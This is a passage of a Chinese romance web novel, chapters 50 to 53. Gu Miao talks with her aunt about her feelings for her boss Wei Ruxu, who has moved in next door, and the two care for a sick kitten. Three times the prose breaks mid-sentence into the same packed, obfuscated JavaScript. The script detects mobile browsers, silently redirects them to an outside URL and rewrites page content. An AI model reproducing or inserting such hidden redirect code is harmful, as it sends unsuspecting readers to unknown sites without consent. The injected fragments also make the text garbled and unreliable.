可魏如栩回想了一下,除了最开始跟顾妙不熟的那个阶段他的表现算是说得过去,自从她掉了马甲,魏如栩自己也把面具丢得一干二净,差不多快要果奔了,真是无比赤诚。 或许是……顾妙让他很有安全感? 魏如栩自认为不是一个缺乏安全感的人,自从母亲去世之后,他一心想要变得强大,所以非常自立自控。若不是有颗强大的心,他也无法这么多年与其他人保持疏离而从不觉得孤独。 只是认识顾妙之后,突然就觉得自己孤孤单单,有那么一点可怜没人爱。除了对她有种说不清道不明的牵挂之外,他很喜欢他们一家那热闹亲密的氛围。 再飘渺的仙气,也干不过万丈红尘的人间烟火气。 这是魏如栩不曾拥有过的感受,也是他最向往的生活。 想到这里,他豁然开朗,感觉为自己搬到顾妙家隔壁找到了一个合理的借口:他不是想对顾妙怎么样,他只是想借机蹭一点家庭的温暖! 对,就酱! 想通之后,面对顾妙的时候魏如栩就坦然了许多,他也没着急跟她解释什么,一解释就成了掩饰,多此一举。 但不管他解不解释,顾妙就是再母胎solo,天生不开窍,这会儿也不能不怀疑魏如栩对她有意思。 于是之前他种种奇怪的举动和反应都在顾妙心里串联了起来,终于有了合理的解释。这种推测顿时让她心口仿佛遭到了重重一击,越发觉得呼吸困难。 近日来的事情本就让她觉得跟老板做朋友都很难,何况还跟老板发展什么超越友情的关系? 她一早下定决心要和魏如栩公事公办、私事免谈,现在人家都搬到隔壁了,将来还能清爽得了吗? 顾妙觉得,魏如栩不管有什么想法,他这么做就是把她逼进了死胡同,完全不给她选择的权力,更没考虑过她的感受! 她越想越气,面对凌晏如做的一大桌美食毫无胃口,拿着筷子只顾发呆,打算找个机会跟魏如栩好好说清楚,说不清楚的话,她就…… 唉,真不想辞职啊! 凌晏如见她心不在焉,勾起嘴角笑了笑,过来人一看就知道这俩小青年怎么回事,自然明白顾妙在想什么。 亲姨甥俩也不用兜圈子,凌晏如决定一针见血,好好开导一下她:“你喜欢魏如栩吗? 50. 第五十章 放生 这种问题顾肖问过她,顾妙一提这事儿就心烦意乱:“不知道,没往那方面想过,也不想往那方面想。” “妙妙,不管是友情还是爱情,都是双方的关系,你不想,不代表别人不想,一味逃避没有用。”凌晏如看着她,认真地说,“你不能自以为是地保持现状,任何一种关系都要费心力去经营才能健康发展。” 顾妙苦着脸:“小姨,你到底想说什么?我情商不够,听不懂。” “你不找事,事情也会来找你。所以你要想事情的发展符合你的预期,你就要提前思考,做出应对方案,当鸵鸟是没用的。” “道理我都懂系列……”顾妙沉默片刻,嘟囔着说。 凌晏如好整以暇地看着她:“记得前几天你还提过,那个副总助理想追你?你怎么打算的?” “他要是不挑明,我就打算给他暗示让他自动放弃,他要是装听不出来,我就主动疏远他,维持表面上的客气。”顾妙一边想一边说,“如果他挑明的话,就委婉拒绝,只要不伤人就行。” “如果他小心眼,因此记恨你,甚至在工作上跟你为难呢?” 顾妙耸耸肩:“那我也没办法啊,仁至义尽了。就兵来将挡水来土掩呗,怕他不成!” “你看你,这不是想得很清楚吗?想拒绝一个人,办法多得是。可为什么到了小魏总这里就这么苦恼?”凌晏如一针见血地说,“还不是因为你在乎他?!” “我当然在乎!那可是我老板!”顾妙像被针扎了似地立刻尖叫起来,“我不能用对待同事的方法对老板啊。” “有什么区别吗?难道魏如栩是小心眼的人,会故意刁难你?还是利用身份潜规则你?” 凌晏如紧紧盯着顾妙:“如果这样的话,不是更好办吗,辞职好了,有什么可心烦的。这份工作对你来说是来之不易,但你并不是非要不可。你是应届毕业生,又不是工作多年、上有老下有小的中年人,你还有从头来过的权力和自由。如果你对魏如栩没感觉,工作什么的完全不是借口。” 顾妙迎着她咄咄逼人的目光,表情一点点地颓丧下来,犹豫了很久,十分不情愿地承认:“我喜欢这份工作,也不想辜负他。” “辜负他什么?” “对我的信任吧。我能当总助,他也顶了很多压力。我知道他想做的事情,我想跟他一起实现那个目标。”顾妙说着,想起魏如栩谈工作的时候那张意气风发的脸,心里隐隐发酸。 他们两个人从初遇到合作,就不是简单的上下级关系,更像是两只雏鸟,为了将来能一起翱翔天空而相依为命。他们互相知道彼此的缺点和短处,可没有人在乎,只希望能一起变得更加强大。 这也算是相濡以沫了吧。 想到这里,顾妙抬眼看着凌晏如,眼眶红红的:“小姨,如果一想到会让他失望或者难过,我的心里也会很不舒服,那算是喜欢他吗?” 凌晏如叹了口气,站起身,坐到顾妙身旁,揉了揉她的头发:“傻孩子,别害怕,喜欢一个人有什么不好的。” 顾妙摇了摇头:“不好。我不能喜欢他。不能长久的东西,我不想要。” “我明白,虽然你们两个身份差异有点大,但如果感情在,有些事情也是能克服的……” “感情……不是最靠不住的吗?”顾妙盯着虚空中的某一点,“我不想事情太复杂,凡是不能长久永恒的关系,我都不想要。” 凌晏如看着她忧伤的表情,知道还是父母去世的事情给她留下了心理阴影,她害怕投入情感的关系再次发生变故。 她这个外甥女,看起来心大,其实也只是把自己的所有的情感都压抑了下去,不去思考不去感受,假装岁月静好。 “别想这么多,还没到那一步。”凌晏如把顾妙搂进怀里,轻轻拍着她的后背,“我懂你的心思。你对魏如栩有好感,愿意和他并肩战斗,但你也怕这份关系慢慢不再单纯,所以他的试探会让你更加紧张,对吗?” 顾妙的下巴搭在凌晏如的肩膀上,她眼神沉郁,轻轻点了点头。 “理性来讲,我是赞同你的,两人之间差距太大,就算能再一起,将来也要面对各种问题,翻车几率实在太高。” “可从感性上讲,没有谁能保证感情一定能开花结果,所以不如及时行乐,喜欢就在一起,不喜欢了就分开,洒脱一点,也算给自己保留下最美好的记忆。尤其你还这么年轻,怎么就不能放心大胆去谈一场恋爱。” 凌晏如像哄孩子一样,一只手轻轻拍着顾妙的肩膀一边说,她想到自己的经历,自嘲地勾了勾嘴角。 顾妙挣脱她的怀抱,拧着眉看着她:“别的事都可以洒脱,反正我也没什么大追求。可如果一件事失败率这么高,那为什么还要开始呢?” 凌晏如抹去她眼角流出的一滴眼泪:“妙妙啊,你不能因噎废食……” “不是那样的……”顾妙摇了摇头,“我的心结得自己克服,克服之前,不能招惹别人。” 凌晏如怔了怔,哑然失笑:“我觉得,你比自己想的还要喜欢他。” “也不是,幸好还没那么喜欢。”顾妙认真地说,“但做人做事要负责,这是底线。” “你怎么跟我姐说话一个调调?老气横秋的。” 凌晏如有点郁闷,顾妙的妈,她亲姐,是个光荣的人民教师,并且是初中语文教研组主任兼年级主任,不仅常常对凌晏如耳提面命,对顾妙顾肖在德育方面也是成果斐然。 顾妙莞尔一笑,画风突变,唱了起来:“长大后,我就成了她~” 凌晏如扶额:“魏如栩也是个翩翩美男子,不知道他喜欢你啥?喜欢你二百五吗?” “小姨你怎么跟顾肖一样,胳膊肘往外拐?我也很优秀的好吗?” 看顾妙心情明显放松下来,凌晏如说:“哟,感情的事儿捋巴顺了,你就放飞自我了?想好怎么面对魏如栩了?” “呵呵,我面对他?是他才得想好该怎么跟我解释吧?!”顾妙这会儿觉得饿了,抄起筷子夹菜吃,“刚才都把我气糊涂了。反正装傻充愣我最在行,谁怕谁。” 凌晏如:“……” 这有什么值得骄傲的吗?! 顾妙突然咂了咂嘴,不无遗憾地说:“哎,我也真是太理性清醒了。这么一个极品优质美少年看上我,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459427|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然把他拒之门外——小姨,这算不算放生?能积功德吗?” 凌晏如站起身来把饭菜往厨房里端,完全不想理她。 “哎,别端啊,我还没吃完呢!”顾妙伸长胳膊拦着她。 “你吃自产自销的彩虹屁就饱了,吃什么饭?!” 小狼窝在沙发上,刚刚又睡醒一觉,看着这两个雌性两脚兽不知道在为什么事拉拉扯扯,无聊地抓了几下沙发,接着便拨拉着玩具开始自娱自乐。 魏如栩的东西不多,原本租的公寓也是拎包入住的,才住了不到两个月,也没添置什么新东西,顾妙看见的大平板电视是他唯一买的家电——公寓里原有的电视尺寸有点小,他嫌看电影不够过瘾。 当天晚上他就整理得差不多了,洗个了澡,清清爽爽地窝在沙发上看电视,没想过要去打扰顾妙。 他反省过,自己这么做已经太给人压迫感,要真是腆着脸去人家家里登堂入室,实在太不要脸。 谁知正当他拿着手机翻看外卖app的时候,有人在外面敲门,打开门是笑眯眯的凌晏如和一脸不情愿的顾妙。 凌晏如举起手里的红酒,笑道:“小魏总,来给你庆祝乔迁之喜啊!” 魏如栩十分尴尬:“小姨,可别这么喊我了,叫我如栩就行,来,快进屋。” 凌晏如进来,四下打量这套房子,顾妙板着脸转身就走回了自己家,魏如栩看着她的背影,有点意外,有点害怕,可是他也不敢问,更不敢关门,站在门口怯生生地看着顾妙家。 好在一分钟之后,顾妙就端着放了好几盘菜的大托盘出来,魏如栩赶紧接了过去,一颗心又放回了胸口。 凌晏如:“本来该到你家开伙的,但也不知道你收没收拾好,就直接做好了菜端来了。 “心意已经到啦,谢谢小姨,有的吃我已经很开心了。”魏如栩把饭菜摆在饭桌上,回头见顾妙又把电饭煲直接拎了过来,手忙脚乱地接了过去,“放着我来!” 顾妙表情冷冷的,没跟他说话,魏如栩还是一阵心虚。 他发现自己面对喜欢的人非常笨拙,因为他从未跟任何女孩子有过如此亲近的关系,越是在乎,越是手足无措。 况且冷战局面还没破冰,他又自作主张地搞了这么一出,简直就是把拒马怼到了人家的家门口,无形中在示威:“敢出来吗?出来就扎死你!” 其实顾妙也不是故意给他冷脸,只是她不知道该用什么态度面对魏如栩,总不能笑脸相迎放烟花礼弹吧,这会给他错误暗示的。 凌晏如自己照顾自己,在房子里溜达了一圈:“唔,两室一厅,一个人住会不会太空了?” 魏如栩一边盛饭一边说:“我打算把那间小的当书房。” 顾妙冷笑一声,终于开口:“老板,你原来那公寓精装修那么豪华,怎么就突然想到我们这上了年纪的小区里来了?小心电线水管老化,一不小心就给你停电停水。” “精装修的公寓不如这里有烟火气。”魏如栩陪着笑,小心翼翼地说,“这边有家的感觉。” “哦。”顾妙意味深长地答了一句,“喜欢烟火气呀,小心煤气中毒。” 51. 第五十一章 有猫病 “怎么说话呢?”凌晏如出来做和事佬,不满地瞥了顾妙一眼,坐到桌边,招呼魏如栩,“快坐下吃饭吧。” 魏如栩点点头,把筷子勺子恭恭敬敬地递给凌晏如和顾妙。 顾妙没抬眼皮,接过餐具,坐在凌晏如身边:“我就是提醒他注意安全。还有啊老板,你打算怎么上班?从这里溜滑板去公司,至少得一个半小时。” “跟你一样坐地铁吧。”魏如栩没在意她那尖酸刻薄的语气,认真回答。 顾妙丝毫不走心,语调机械地说:“呀,这么艰苦朴素,还以为你会买车,到时候我也能跟你蹭车免得挤地铁呢。” 魏如栩:“买车倒是不必,我家还有一辆。只不过这小区没有停车位了,开过来也没地儿放。” 凌晏如给魏如栩夹菜:“嗐,年轻力壮的,挤地铁又挤不坏,就当体验生活了。多吃点。” 魏如栩冲凌晏如笑笑,乖巧地说:“谢谢小姨。” 见他明知道自己在故意为难他,还不以为意地回答问题,顾妙也觉得她这副没事儿找事的嘴脸不太好看,打算收敛一下。 可这不是在公司,她实在不想在私人时间还对老板摆出伺候主子的职场微笑,于是就只好沉默地扒饭。 反正hold场女王凌晏如在,顾妙不怕冷场。 一顿饭下来,凌晏如基本把魏如栩的户口给查明白了。除了母亲去世的原因,魏如栩也是言无不尽,礼貌的态度在凌晏如那里好好刷了一波好感。 饭后,他争着把碗拿到厨房洗干净,才端着这些家伙事儿给凌晏如和顾妙送回家。 刚进门,魏如栩的狗鼻子就闻到了一股酸臭味儿:“什么味道?” 顾妙一怔,先往洗手间门口的猫砂盆里瞅了瞅,发现里面空空的什么都没有,顿时觉得不妙,三步并作两步跨到沙发旁边,欲哭无泪:“小狼拉沙发上了!” 魏如栩跟过去一看,见一团橘色的毛球缩在沙发角落里,而在沙发另一端,洁白的沙发巾上赫然是一滩黄棕色的粘稠物,那酸爽的味道就是从这儿散发出来的。 “哪儿来的小猫?”魏如栩好奇地问。 顾妙捏着鼻子揪起那沙发巾,嫌弃地扔进了垃圾桶:“捡的。” “你要养他吗?”魏如栩不喜欢狗,但对猫倒是十分友善,小心翼翼地靠近小狼,把他捧在手心里。 “本来打算养,但现在我犹豫了。”顾妙快被猫屎熏翻了,气愤地说。 小狼恹恹地抬头看了看魏如栩,没有丝毫反抗,在他手里团成一团。 魏如栩仔细看了看他,有点担心地看向顾妙:“他是不是生病了?怎么这么没精神?” “是吗?对啊!他刚刚拉稀了!”顾妙也意识到不对劲,担忧地凑到魏如栩手边看着小狼,“小猫拉稀可大可小,还是去宠物医院看看。” 凌晏如把碗筷放好,从厨房里出来:“昨天才来家里,今天就病了?” 顾妙扭头把沾着猫屎的沙发巾从废纸篓里取出来,找了个塑料袋装上:“最好是水土不服,可别是……唔,不瞎猜了,看了医生再说。” 魏如栩抱着小狼:“我和你一起去。” 顾妙看着他,犹豫了一下,点了点头:“走吧。” 幸好宠物医院还没有下班,听了小狼的情况,医生先从里到外给他检查了一遍,然后决定给他抽血化验。 同时,医生尴尬而不失礼貌地拒绝了顾妙带来的猫屎,表示这不新鲜的屎里并化验不出来什么鬼玩意。 饶是小狼心大,又有点精神不振,抽血的时候也非常警觉。医生安排顾妙抓着他两只前爪,魏如栩按着后爪,小狼被压制得动弹不得,发出尖锐的惨叫声,那声音听得人抓心挠肝,整个诊室活像是虐猫现场。 顾妙不敢松手,小狼仰着头,一边叫着,圆溜溜的眼珠子一边愣愣地盯着她,看得她直发毛。 “乖,就抽个血,别怕……”顾妙受不了那眼神和叫声,连声安慰他,可她也知道,小狼跟她还没建立起感情,于她也是没有多少信任的,她能给他的抚慰也并不多。 顾妙不由地埋怨起自己来,这才一天时间,就让小狼生了病,她真的能照顾好他吗? 抽完血之后,医生让他们耐心等待化验结果。 小狼惊魂甫定,浑身发抖,趴在检查台上四下张望,顾妙抓着他放在手掌心,他却一边叫着一边不停挣扎,顾妙只好又把他放回台子上。 小狼一脱离她的“魔爪”,飞快地从工作台跳到医生的电脑椅上,又从电脑椅跳下了地,躲进了桌子下面。 顾妙担心他,想把他找出来,被魏如栩拦住了。 “他刚抽了一管血,害怕也很正常,想找个地方躲起来,你就随他去吧。”魏如栩钻到桌子底下,用手机照了照,看到那一小团橘色就缩在墙角,站起来对顾妙说,“在底下呢,没事,让他自己待一会儿。” “看来母子情还没建立就破裂了。”顾妙郁闷地坐在一边。 魏如栩坐在她对面的椅子上,无奈地说:“既然还没建立,谈什么破裂?” 顾妙低着头,沉默不语,突如其来的恐慌仿佛一支当空飞来的箭,牢牢地扎在了她的胸口。 她忽然问:“猫能活多少年?” 魏如栩一怔,还没来得及回答,又听她说:“十多年对吧?养得再精心,顶多二十年,也算是奇迹了。” “他才这么小,将来时间还长着呢,你没必要往那方面想,何况只是拉稀,也没别的症状。”魏如栩皱了皱眉,看到顾妙的眼眶突然红了,她向一侧扭了扭头,咬着嘴唇,似乎想把眼泪忍下去。 “也是不能长久。”顾妙咕哝了一句,心里像压了一块沉沉的大石头,“我现在把他送出去给人领养,也不算不负责任吧?才把他捡回来一天而已。” 她这话像是自言自语,但魏如栩打量着她,开口道:“你既然都这么问了,自己心里也知道答案吧。” 顾妙郁闷地看了他一眼,那眼神好像在说“谁跟你说话了关你什么事”,然后整个身体都转向一边,整个身体语言就是大写的“莫挨老子”。 魏如栩心里叹了口气,不明白她这情绪又是从何而来。 在他看来,小猫没什么大事,怎么就扯到长久不长久上去了?再说动物本来不就寿命有限吗? 小魏总到底还是年轻没经验,加之这两天情绪波动比较大,一颗七窍玲珑心也暂时没电收了神通,一时间也没能勘破顾妙隐藏深重的心结。 他觑着顾妙的侧脸,小心翼翼地说:“你别胡思乱想了,一定没事。” 顾妙头都没回,只是转了转眼珠,用眼角瞥了他一眼,没做回复。 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459428|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如栩吃了个软钉子,也不打算再触她的霉头,决定暂时把嘴封上。 好在晚上宠物医院没什么人,化验结果很快就出来了,医生拿着单子推门进来,微笑着说:“放心吧,一切正常,不是病毒感染。” 顾妙松了口气,可依旧不解:“那他怎么拉稀了?” “小猫拉稀可能有很多原因,肚子受凉、突然换了饮食都会这样。”医生坐在工作台边,在电脑上写着病历,“一会儿你回家路过药店,买点婴儿吃的妈咪爱,酌情减量给他喂下去看看有没有好转。” 临走的时候,魏如栩整个钻到桌子下面,把小狼“拿”了出来。 安静了这一会儿,小狼似乎归于平静,也不再抗拒,乖乖地待在魏如栩温热的手心里,仍是昏昏欲睡的样子。 魏如栩把他递给顾妙,顾妙怔了怔:“你抱着吧,我一会儿还买药呢。” 两人跟医生道别,正要走,医生突然补了一句:“对了,注意别喂太多,也有可能是吃多了消化不良。” 顾妙:“……多少算多?” “今天喂他吃什么了?”医生挑眉,从眼镜上方的空隙看着她。 “一个幼猫罐头,小的那种。”顾妙想了想,“好像85g,不算多吧?” 魏如栩抱着猫:“……” 医生无声地笑了,摇了摇头:“太多了,它现在还小,不能这么喂。这两天给他控制饮食,饿一点没事,饿不坏,吃撑有时候可是要命的。” 出了宠物医院走出好远,魏如栩抱着小狼,回想刚刚的情景,还忍不住笑出声来。 顾妙烦躁地瞪了他一眼:“没完了是吧?” “你是新手,情有可原。”魏如栩赶忙正色,“有个问题一直很想问你……为什么给他取名叫小狼?” “因为他就是头白眼狼。”顾妙没好气地瞟了一眼在魏如栩怀里呼呼大睡的小狼,“枉我对他那么好,他刚刚还不让我抱,倒是跟你亲得很。” 魏如栩轻轻抚着小狼:“还有个人刚刚说不要他了呢,谁听了不寒心。” 顾妙:“……果然同类都是互相关心啊!” “什么意思?”魏如栩疑惑地抬头看她远去的身影,感觉自己好像被骂了。 凌晏如听说小狼没事,也就放心回了自己家。顾妙和魏如栩回去以后,第一时间就是给小狼喂药。 顾妙冲好了药剂,用喂药器抽了一管子,接下来就是该往小狼嘴里打,这个步骤需要眼疾手快。因为猫这种生物不仅贼精,且天生有被害妄想症,只要你别有用心地靠近他,他立刻就能从空气中闻出阴谋的味道。 果然,当顾妙拿着喂药器过去的时候,在魏如栩手心里的小狼就开始不停扭动挣扎,把他的手背抓出了好几条白印。 顾妙有点恼火:“你抓好他,别让他动!” 魏如栩:“他这么小我不敢使劲,你快点,扒开嘴,一管子就打进去了。” “你不弄住他,我怎么打?” “出手果断点,磨磨蹭蹭的他当然乱动了。” “他跟我不熟,我怕他咬我!” “我掰开他的嘴,你快点——哎!” 魏如栩抱着小狼,凉凉地看着顾妙,他白色T恤的胸口一道明显的黄色湿痕——刚刚顾妙没对准小狼的嘴,手里盲目使劲,一管药全滋他身上了。 52. 第五十二章 冰释前嫌 弄脏了魏如栩的衣服,顾妙脑中的钱箱子“哗啦啦”响了声,她那嚣张了几天的气焰顿时消失于无形,陪着笑脸:“老板,你衣服贵么?这药应该能洗干净吧,我拿去给你干洗行吗?” 小狼这会儿安静了许多,蹲在魏如栩手心里,好整以暇地看着闯了祸的顾妙。 顾妙瞥了他一眼,坚定地认为这只猫精露出了幸灾乐祸的表情。 魏如栩叹了口气:“不贵,我自己洗吧,不劳您大驾了。再抽一管药去,拿来给我。” “两个人都搞不定,你一个人能行吗?”顾妙把喂药器灌满,半信半疑地递给了他。 “至少不会全滋我身上。”魏如栩把小狼平躺着放在腿上,一手接过了喂药器,另一只手逗着他,慢慢凑到他鼻子跟前。 小狼闻了闻魏如栩的手指,然后小心翼翼伸出舌头舔了一口,尝了尝感觉味道好像还不错,就大口大口地舔了起来。 顾妙皱起眉:“……你洗手没?” 魏如栩顾不上搭理她,两只手指顺势轻轻掰开了小狼的嘴,剩下三根手指轻轻托起他的头,然后右手拿着喂药器,以迅雷不及掩耳之势杵进了猫嘴里,将药推了进去。 整套动作行云流水一气呵成,小狼没反应过来一切就结束了,顿时呆立当场,本能地咂了咂嘴。 “哇,老板,你看起来很有经验啊!”顾妙无意识地拍起了马屁。 魏如栩十分得意,尾巴翘到了天上:“经验谈不上,但是对待猫这种生物,不能硬来,他容易应激,得顺好了毛再进行下一步操作。关键词有二,温柔和速度。” “得,我没你温柔,既然这样,你能者多劳吧。”顾妙一把抓过魏如栩手里空的喂药器,又给抽满了一管,“加油,我看好你哦!” “能力有多大,责任就有多大”的小魏总成了小狼的贴身护士,不仅耐心地一管一管把药给他全灌了下去,还一直盯着他,一有情况,就把他往猫砂盆里丢,好好教他定点大小便。 小狼不明所以,起初在猫砂盆里胡乱扒拉了两下子就爬出来,蹲在一边的魏如栩就再把他放回去,大有不拉屎不让出来的意思。 几次三番之后,小狼似乎领会了魏护士的精神,果然在猫砂盆里拉了屎,拉完还认真地埋了起来。 看到这次的屎已经初见形状,不再是稀汤一滩,显然药开始起效了,魏如栩老怀安慰,把小狼抱在怀里亲了一下:“真乖!” 这期间,顾妙在房间里一边继续码她的总结,一边竖起耳朵听着外面的声音。也不知道过了多久,客厅里变得十分安静,她才好奇地出来看,结果就看到魏如栩躺在沙发上已经睡着了,小狼翻着肚皮,露出肚子上白色的毛,躺在他脖子上,成了个“猫围脖”,四仰八叉睡得正香。 这一幕实在太有爱了,顾妙拿着手机轻手轻脚走到魏如栩跟前拍照留念,看着这一人一猫这么和谐,觉得发到网上搞不好会火。 正当她转着这个念头的时候,魏如栩眼睛眯开了一条缝,轻声说:“要发网上我可收费啊!” 他怕声带振动会惊醒小狼,说话都不敢大声。不过这个担心是多余的,小狼已经完全睡死过去,翻着白眼露着舌头,颜值已经离家出走。 “现在可不是爆料时刻,把柄攥在我手里,我想什么时候发就什么时候发。”顾妙傲娇地撇了撇嘴,“搬家累了一天,你快回去休息吧。” 魏如栩轻手轻脚地把小狼从脖子上扒下来,把他放进了窝里——虽然这小崽子不认窝,但也需要努力培养一下嘛。 他捂着嘴打了个哈欠,向大门走去:“那我走了。” 顾妙送他到门口,打开门:“晚安。” 魏如栩忽然停住脚,回头深深地看了一眼顾妙,沉吟了几秒钟:“对不起。” 顾妙:“?” “那天我说话没过脑子,对不起。我真没那个意思。”魏如栩诚恳地说,“就是觉得车翔对你别有用心,不想看你们两个有太多来往。” 顾妙突然一阵紧张,生怕他这会儿说出什么令她无法回应的话,赶忙道:“嗯,我明白。你放心吧,车翔的事儿我会处理好。” 她神情迫切,一手推着门,赶人之心溢于言表。 魏如栩察言观色,自然知道自己的存在对她的压迫感有点重,便把想说的话又咽回了肚子里,故意放松地在她头顶摩挲了一下,笑了笑:“你也早点休息,晚安。” 他拉着门轻轻关上,顾妙站在门后,心脏狂跳,直到听见隔壁魏如栩家的关门声,才渐渐放松下来。 她觉得,要想把她和魏如栩的关系引到正路上,她必须要做先开口的那个人。但要怎么说,她得好好想想。 今天和小姨的一番对话,也让顾妙面对了自己的心,不再否认她对魏如栩的喜欢。 其实若不是动了心,才不会那么害怕那么抗拒。 在顾妙心底,她觉得现在跟小魏总这种状态是最美好的,有一点点喜欢和眷恋,有一点点想要照顾他,但还没到贪心的地步。 就这么保持下去吧。一切都不要变。 魏如栩并没有想过要表白,毕竟这种朦胧的感觉连他自己还没整理清楚。这几天一连串的骚操作就够让他觉得羞耻了,更不可能急着把感觉说出口,搞得两人都不自在。 他看得出顾妙的紧张,原本想装作轻描淡写的样子,编个理由随口给她解释一下,让她别背上包袱。 可见她那副无法隐藏的紧张的表情,魏如栩也知道这个当口多说无益,便也没再坚持。 回到家里简单洗漱之后,他躺在床上翻来覆去,脑海中浮现的是顾妙逃避的面孔,便觉得十分沮丧。 她是不是不喜欢我? 如果我不是她老板,一切会不会不一样? 可惜人生无法假设,这注定是个无解的问题。 魏如栩照例失眠,好不容易睡着之后又是一个接一个地做梦,在各种场景中穿来穿去,睡一觉比参加运动会还累,醒来已经到了中午。 他抓起手机,看到顾妙给他发信息:“魏御医,麻烦醒了过来伺候狼小主进药。” 魏如栩并不知道,自己脸上的笑容有多灿烂。 顾妙也琢磨了半夜,觉得相比让魏如栩误会什么的,她更怕跟老板的关系变得尴尬,以后抬头不见低头见,总要想着回避实在太难受。 不管怎么样,小魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459429|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总已经搬了过来,她也没什么资格撵人走。本着处理好邻里之间关系的原则,顾妙打算一切顺其自然。 毕竟这也不是普通邻居,完全不来往也是不可能的。既然已经不能维持简单的上下级关系,那顶多做个好邻居、好朋友吧。 至少这样的关系,在将来结束的时候不会太让人伤心。 周日的一天过得十分平静。 顾妙仍旧在抠她那写不出来的总结,实在卡得不行就翻专业书以转移注意力,整个人表现得非常好学,但实际内心非常焦躁。 魏如栩就在客厅里驯猫、喂药,小狼下午就不再拉肚子了,但是一晚上没吃东西,他饿得嗷嗷叫,蹲在饭盆那里冲魏如栩疯狂暗示。 看他那可怜巴巴的眼神,魏如栩心软得不要不要的,可是顾总管铁面无私,坚决不让喂吃的。 耐不住小狼可怜巴巴的眼神,魏如栩翻出来顾妙给小狼买的羊奶粉,悄咪咪冲了一小碟。 小狼闻到奶味儿,饿虎扑食般地趴在碟子边喝了起来。他战斗力十分惊人,没两分钟,碟子就见了底,也被他舔得干干净净。 魏如栩蹲在旁边,低声笑着,轻轻弹了弹他的脑门:“真能吃啊,这速度也太快了吧!” 不料背后突然传来顾妙的声音:“给他吃什么了?” 这声音听起来十分之无情残酷,魏如栩后背有点发凉,讪笑着回过头看她:“……没有啊,什么都没吃。” 顾妙一脸不相信,走过来看,魏如栩见她盯着自己身后,却也没说什么,转回身一看,机智的小狼一屁股蹲在空空的碟子里,瞪大眼睛萌萌哒地看着顾妙,满脸无辜,还冲她“喵”了一声。 也不知道是在痛斥主人的无情,还是在抱怨自己快被饿扁了,总之魏如栩觉得他演技超一流,拿猫界奥斯卡完全实至名归。 可怜顾妙是个没头脑,身边弟弟并老板都是人精,连养只猫都是影帝,生活于她来说真是太难了。 没抓到把柄,顾妙虽然有所怀疑,但也不能凭空指责,叮嘱了一句:“不能给他吃东西,要空腹二十四小时。” 魏如栩等她回了房间,才把小狼托回手心,轻声说:“我也没骗人对吧,本来就没给你吃东西,只是‘喝’奶粉而已。” 小狼刚刚为了演技已经克服了本性,这会儿才开始例行饭后洗脸,一边在爪子上舔了口水一边往脸上糊,一边对魏如栩“喵”了一声,似乎表示赞同。 快到饭点儿的时候魏如栩化身顾肖,拎着袋子跑出去买菜。他恰好穿了件胸口有个装饰性大口袋的T恤,便把小狼揣里头带了出去,美其名曰带他“见世面”。 顾总管对此嗤之以鼻,人家就是从街头来的,不比你见得世面多? 昨天凌晏如买的菜还剩不少,顾妙就没让魏如栩多买。没一会儿他就回来了,钻进厨房开始洗洗涮涮,像一个敬职敬业的钟点工。 顾妙以为他很有眼力见儿地先收拾好菜,再来“请”她过去下厨,谁知没过一会儿,就听见厨房里抽油烟机被打开了,有菜下油锅的“滋啦”声,接着便闻到了爆葱花的香味儿。 她第一个反应就是:这位大少爷可别把她家厨房给点了! 53. 第五十三章 空间 “你怎么直接上手了?”顾妙趿拉着拖鞋三步并作两步跑去厨房,推开虚掩着的门,就看见魏如栩围着她的小花围裙,似模似样正在颠勺。 那围裙穿在他身上短了一截,视觉上给人一种他穿了一件花肚兜的效果,顾妙忍俊不禁,捂嘴笑了起来。 魏如栩得意地看她一眼:“别以为我不会做菜,出国前特意跟家里阿姨学的。不然我在大腐国就被饿死了。” “别欺负我没留过学,国外能让你大火爆炒?烟雾报警器就不会放过你吧。”顾妙撇了撇嘴,抱着胳膊倚在门框,看魏如栩手脚麻利地炒着菜。 “大火爆炒自然是不可能,顶多小火慢炖。”魏如栩把炒好的青菜盛出来,“我其实挺喜欢做菜的,能解压。就是做给自己吃没什么意思,还得刷锅刷碗好不麻烦。这次终于有机会给你露一手了。” 这句话顾妙深有体会。给家人做饭,看人吃着开心,自己也很有满足感,但要没有了观众,什么表演都是自娱自乐,令人失了兴致。 因此顾肖一不在家的时候,她都是随便吃点剩饭点心打发一日三餐,好在现在小姨回来了,每天晚上至少还能吃上像样的饭菜。 “你这富二代当得真是相当委婉……”顾妙摇摇头,“着实要气死我们穷人家的孩子。” 魏如栩忙着把第二道菜的食材下锅,回头给了顾妙一个诧异的表情。 